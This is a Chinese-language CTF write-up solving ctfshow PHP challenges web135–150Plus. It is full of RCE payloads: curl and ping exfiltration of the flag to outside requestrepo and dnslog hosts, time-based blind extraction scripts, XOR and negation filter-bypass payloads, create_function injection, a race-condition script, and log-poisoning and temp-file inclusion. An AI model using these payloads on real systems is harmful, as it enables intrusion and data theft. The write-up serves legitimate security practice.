error_reporting(0);highlight_file(__FILE__);//flag.phpif($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); }}
过滤拉满,之前的payload估计用不了了。
看了一下别的师傅的wp,全是围绕文件来写的。
?F=`$F` ;cp flag.php x.txt?F=`$F` ;nl flag.php>x.txt?F=`$F` ;mv flag.php x.txt
确实可以,不错的姿势,学到了。
看web133官方wp评论区的时候,有个师傅的思路值得借鉴。
首先,直接访问flag.php是无法访问的。但是访问一些不存在的文件名比如asdasdssa.txt,却不会显示404,而是源码界面。
不知道为什么,用mv
rename
cp
命令修改文件名,都没有达到预期效果。
还有一种思路就是用\
'
"
绕过关键词过滤
?F=`$F` ;cu\rl http://f74d1j0x.requestrepo.com/?1=`t\ac /flag.php|ba\se64`
实际测试了一下,只有\
可以绕过过滤。
同时,http信道,可以接收ls /
、env
等命令的结果,无法获得tac flag.php
的结果,同时命令ls
的回显中也没有flag.php,不知道出题人是用什么手段藏了flag.php
官方payload:
`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
CTFshow PHP web136
又是大过滤,哈哈,我疯啦。
exec()
:执行一个外部程序,类似system()
对比一下过滤,我们能执行的命令有
lsls /envcat tacnltee等
tee命令:
tee file1.txt file2.txt //复制文件ls|tee 1.txt //命令输出
payload:(命令执行结果就是在文件1和2里面啦)
?c=ls /|tee 1?c=tac /f149_15_h3r3|tee 2
CTFshow PHP web137
题目描述:没有难度 //确实,没骗人
考点:考察调用类中的函数
我们最终目标是执行echo file_get_contents("flag.php");
语句,就是调用cyfshow
类中getFlag()
方法。
php中 ->与:: 调用类中的成员的区别:
->用于动态语境处理某个类的某个实例::可以调用一个静态的、不依赖于其他初始化的类方法
双冒号可以不用实例化类就可以直接调用类中的方法
payload:
ctfshow=ctfshow::getFlag //POST
CTFshow PHP web138
题目描述:一丢丢难度
strripos()
:计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)
if(strripos($_POST['ctfshow'], ":")>-1)
:要求我们POST进来的ctfshow参数不包含符号:
call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。这就避免了:
的出现。
payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
查看phpinfo();
ctfshow=phpinfo //call_user_func('phpinfo');
CTFshow PHP web139
题目描述:BY YU22X 没变化吗?
这个应该是web136的改版,我们可以看见的源码应该是一样的。
在136的基础上限制了写文件的权限,这时候可以考虑用盲打的方式。这也是一种无回显RCE带出数据的办法!
awk命令:
用awk命令、cut命令截取字符sleep命令确认是否正确awk NR==n 获取第n行信息cut -c n 截取第n个字符zsh下if语句的格式:if [命令] {command} elif {.......} else {.......}
我们的payload:
if [ `ls /|awk 'NR==6'|cut -c 4` == V ];then sleep 3;fi
直接使用提示给的脚本。(略改了一点)
爆破根目录文件名脚本:
import requestsimport timeimport stringstr = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~" # 构建一个包含所有字母和数字以及部分符号的字符串,符号可以自己加result = "" # 初始化一个空字符串,用于保存结果#获取多少行for i in range(1, 99): key = 0 #用于控制内层循环(j)的结束 #不break的情况下,一行最多几个字符 for j in range(1, 99): if key == 1: break for n in str: #n就是一个一个的返回值 payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n) #{n}是占位符 #print(payload) url = "http://69a7422b-3330-4a7a-993e-8600f18ef1b5.challenge.ctf.show?c=" + payload try: requests.get(url, timeout=(2.5, 2.5)) #设置超时时间为 2.5 秒,包括连接超时和读取超时,超时就是之前sleep 3了。 # 如果请求发生异常,表示条件满足,将当前字符 n 添加到结果字符串中,并结束当前内层循环 except: result = result + n print(result) break if n == '~': #str的最后一位,“~”不常出现,用作结尾 key = 1 # 在每次获取一个字符后,将一个空格添加到结果字符串中,用于分隔结果的不同位置 result += " "
获取flag文件内容的脚本:
import requestsimport timeimport stringstr = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号,这里就不加了result = ""for j in range(1, 99): for n in str: payload = "if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j, n) # print(payload) url = "http://69a7422b-3330-4a7a-993e-8600f18ef1b5.challenge.ctf.show?c=" + payload try: requests.get(url, timeout=(2.5, 2.5)) except: result = result + n print(result) break if n=="~": result = result + "花括号"
(跑的时候别开梯子呜呜呜)
结果:
flag文件名:f149_15_h3r3
flag:ctfshow{6f1d1b8d-7f85-4d44-86b9-a11d937e0691}
CTFshow PHP web140
考点:==
松散比较
小元砸师父一表速览
我们最终的目标是intval($code) == 'ctfshow'
intval()函数,若参数是非数字,则输出0intval('a')==0 intval('.')==0 intval('/')==0
根据上表,我们看得出0==‘ctfshow’
再倒推一步,我们使得return $f1($f2());
返回0即可。
由此我们可以构造payload:
f1=intval&f2=intval
解释一下这个payload:此时原语句return $f1($f2());
变为return intval(intval());
既是return intval(0);
值是0,所以 c o d e = 0 ,满足 ‘ i n t v a l ( code=0,满足`intval( code=0,满足‘intval(code) == ‘ctfshow’`
此外,payload还有:
f1=usleep&f2=usleepf1=md5&f2=phpinfof1=md5&f2=sleepf1=md5&f2=md5f1=current&f2=localeconvf1=sha1&f2=getcwd 因为/var/www/html md5后开头的数字所以我们改用sha1
CTFshow PHP web141
满足preg_match('/^\W+$/', $v3)
即v3没有数字、字母和下划线
PHP中,数字是可以和命令进行一些运算的,例如 1-phpinfo();
、1-phpinfo()-1;
是可以正常执行的。
v3的构造使用无字母数字RCE的取反构造来实现。
PHP脚本:
//在命令行中运行fwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
运行脚本,得到v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-
所以payload为:
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-&v2=1
经过测试,*
/
+(%2B,不编码会被当成空格)
%
都可以代替-
CTFshow PHP web142
sleep(0),沉睡0秒直接包含flag文件
payload:
?v1=0 //8进制?v1=0x0//16进制?v1=0e666//科学计数法
CTFshow PHP web143
题目描述:141的plus版本
可以看见,它把~
过滤了,同时也过滤了减号、加号、取余号。
绕过方法:取反用异或代替,减号用乘或除代替。
异或脚本:
import urllibfrom sys import *import osdef action(arg): s1="" s2="" for i in arg: f=open("xor_rce.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"^\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";" print(param)
生成xor_rce.txt的PHP脚本。(生成后放在python脚本同目录之下)
$myfile = fopen("xor_rce.txt", "w");$contents="";for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)^urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } }}fwrite($myfile,$contents);fclose($myfile);
payload:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*
CTFshow PHP web144
题目描述:143的plus版本
做法同143
修改php脚本的时候需要注意一点
payload:
?v1=1&v3=-&v2=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%00"^"%7c%60%60%20%60%2a")
CTFshow PHP web145
题目描述:144的plus版本
可以看见,它没有把~
过滤,回归取反。但是他把加减乘除取余都过滤了。
羽师傅的小测试:
eval("return 1?phpinfo():1;");
测试结果是可以执行。所以我们可以使用三目运算符
所以我们的目标是构建eval("return 1?tac f*:1;");
payload构造类似之前:
?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):&v2=1 //三目运算符?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1 //也可以1|(xxx)|2
CTFshow PHP web146
题目描述:145的plus版本
过滤了:
,不能用上一题的三目运算符payload了。但是可以用第二个。
payload:
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1//这个也可以?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)||&v2=1 //1==(xxx)||1
CTFshow PHP web147
这题类似Code-Breaking Puzzles挑战赛中easy - functionCode Breaking 挑战赛 Writeup (seebug.org)
考点:create_function函数注入
/i
不区分大小写
/s
匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D
如果使用$限制结尾字符,则不允许结尾有换行
对POST进去的ctf有过滤,对GET进去的show没有过滤。
正则匹配preg_match('/^[a-z0-9_]*$/isD',$ctfshow)
表示匹配只有字母数字下划线的字符串。
如果我在$ctfshow前加一个符号,那么正则匹配返回false。
由于
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
所以在调用函数时,在前面加一个\
并不影响函数的执行。
create_function()代码注入:
create_function('$a','echo $a."123"')类似于function f($a) { echo $a."123";}
如果此时$a可控,我们使a=1;}phpinfo();//
create_function('$a','echo $a."123"')类似于function f($a) { echo 1;}phpinfo();//."123";}就是function f($a) { echo 1;}phpinfo();
这个原理就类似于SQL注入了,主动闭合+注释多余内容。
payload:
?show=}system("tac f*");/?code=$给特="{{{"^"?<>/";${$给特}[参数一](${$给特}[参数二]);&参数一=system&参数二=tac f*//"{{{"^"?<>/"; 异或出来的结果是 _GET//也可以 ${_GET}[哼](${_GET}[嗯]);&哼=call_user_func&嗯=get_ctfshow_fl0g
CTFshow PHP web149
题目描述:你写的快还是我删的快?
分析一下代码:
//ctf是被写入文件的文件名,show是写入的文件内容file_put_contents($_GET['ctf'], $_POST['show']);$files = scandir('./'); // 获取当前目录下的文件和子目录列表foreach($files as $file) { //遍历当前目录下的所有文件和子目录列表 if(is_file($file)){ // 如果是文件 if ($file !== "index.php") { // 如果文件名不是 "index.php" unlink($file); // 删除文件 } }}
预期解:条件竞争
CV一个大师傅的py脚本
# -*- coding: utf-8 -*-# @Time : 20.12.5 11:41# @author:lonmarimport ioimport requestsimport threadingurl = 'http://9366a64f-c8d9-47fb-a750-22543527dae3.challenge.ctf.show/'def write(): while event.isSet(): data = { 'show': '' } requests.post(url=url+'?ctf=1.php', data=data)def read(): while event.isSet(): response = requests.get(url + '1.php') if response.status_code != 404: print(response.text) event.clear()if __name__ == "__main__": event = threading.Event() event.set() for i in range(1, 100): threading.Thread(target=write).start() for i in range(1, 100): threading.Thread(target=read).start()
非预期:代码逻辑漏洞
既然他不删除index.php,并且我们也可以往index.php里面写内容。
那我们就狠狠入index.php
payload:
?ctf=index.php //GETshow= //POST
CTFshow PHP web150
题目描述:对我们以前的内容进行了小结,我们文件上传系列再见!
include("flag.php");error_reporting(0);highlight_file(__FILE__);class CTFSHOW{ private $username; private $password; private $vip; private $secret; // 私有成员变量 $secret,存储 flag function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; // 在对象销毁时输出 $secret } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); }}#过滤字符$key = $_SERVER['QUERY_STRING'];if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error");}$ctf = $_POST['ctf'];extract($_GET);if(class_exists($__CTFSHOW__)){ // 如果指定类(CTFSHOW)存在,则输出提示信息 echo "class is exists!";}// 如果 $isVIP 为真且 ctf 字符串中不包含冒号if($isVIP && strrpos($ctf, ":")===FALSE){ include($ctf);}
我们最后一步肯定是include($ctf);
包含文件。那个CTFSHOW类貌似做到最后也没有用上。
方法:日志包含
WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
日志文件路径:
apache一般是/var/log/apache/access.log。nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log。
题目是nginx
步骤一:
先抓包,修改UA头,发包,把恶意代码写入日志文件。
UA头:
步骤二:
包含日志文件,进行RCE
?isVIP=true //GETctf=/var/log/nginx/access.log&jay=system("tac flag.php"); //POST
session文件包含貌似也是可以的,这里不赘述了。
CTFshow PHP web150Plus
源码和之前差不多,改变的只有多对ctf过滤了log
使我们不能日志包含
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){ include($ctf);}
session文件包含可以继续打。
临时文件包含也行(在文末补充,这里不占用篇幅了)
exp :https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
预期解:
这个题一点点小坑
__autoload()
这个函数并不属于CTFSHOW这个类的,全局都可以用。在定义这个函数后,尝试使用不存在的类的时候会自动加载。
**class_exists()**同样会触发__autoload()
函数【存疑】
根据web123:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了。
使用?..CTFSHOW…=xxx可以绕过正则匹配,利用空格 [ . +自动转换为_的特性
最后构造?..CTFSHOW…=phpinfo就可以通过extract()
函数实现变量覆盖($__CTFSHOW__=phpinfo
),之后利用__autoload()
函数,加载phpinfo,那就可以看到phpinfo信息啦
原因是..CTFSHOW..
解析变量成__CTFSHOW__
然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()
函数方法,去加载$__CTFSHOW__
,因为等于$__CTFSHOW__
phpinfo就会去加载phpinfo
payload:
?..CTFSHOW..=phpinfo
临时文件包含补充:
临时文件包含
我们知道,PHP强制上传文件会储存到/tmp/phpxxxxxx
文件包含,能否包含一个 /???/???[@-[]]
答案是:不行 文件包含,不支持通配符 !
我们明确的,得到这个临时目录下php开头的随机文件名字全称,然后我们就可以正常包含进去
默认情况,生命周期与php脚本一致,也就是说,脚本运行过程中,存在,脚本运行结束了,这个临时文件会被自动删除
突破点:
1 在php脚本运行过程中,包含临时文件
2 在脚本运行过程中,得到完整的临时文件名称
假设我们能够访问phpinfo的结果 FILES 就会存在tmp_name元素存储临时文件名字,读取后可以成功包含
验证原理步骤:
1.先准备upload.html脚本,部署在自己的vps上面
2.phpinfo.php中有语句phpinfo();
include $_FILES['file'][tmp_name];
3.upload.html脚本强制上传文件到phpinfo.php
4.自动跳转到什么什么/phpinfo.php
5.因为脚本执行时,有临时文件,同时又phpinfo();了,所以phpinfo中又临时文件(内容为上传的文件)路径,在$_FILES['file']==>[tmp_name]
中
6.由于include $_FILES['file'][tmp_name];
语句,临时文件被包含,其中的恶意代码被执行,实现了RCE。
但是现实中不会出现语句include $_FILES['file'][tmp_name];
我们不知道临时文件的名字。
php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,它是一块内容一块内容发送的
一次发4096个字符,没凑够4096个字符不发送。
如果不断往phpinfo界面填充数据,使其不断增大,超过4096时,就会把数据分开来一段一段返回,
这时候就去找他的[tmp_name],找到了就马上包含。因为一直在发送字节,所以脚本不算执行完毕
临时文件还存在,能包含。这就是原理
upload.html:
<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" > <input name="file" type="file" /> <input type="submit" type="gogogo!" /> </form>
a-zA-Z ↩︎
来源地址:https://blog.csdn.net/Jayjay___/article/details/131638620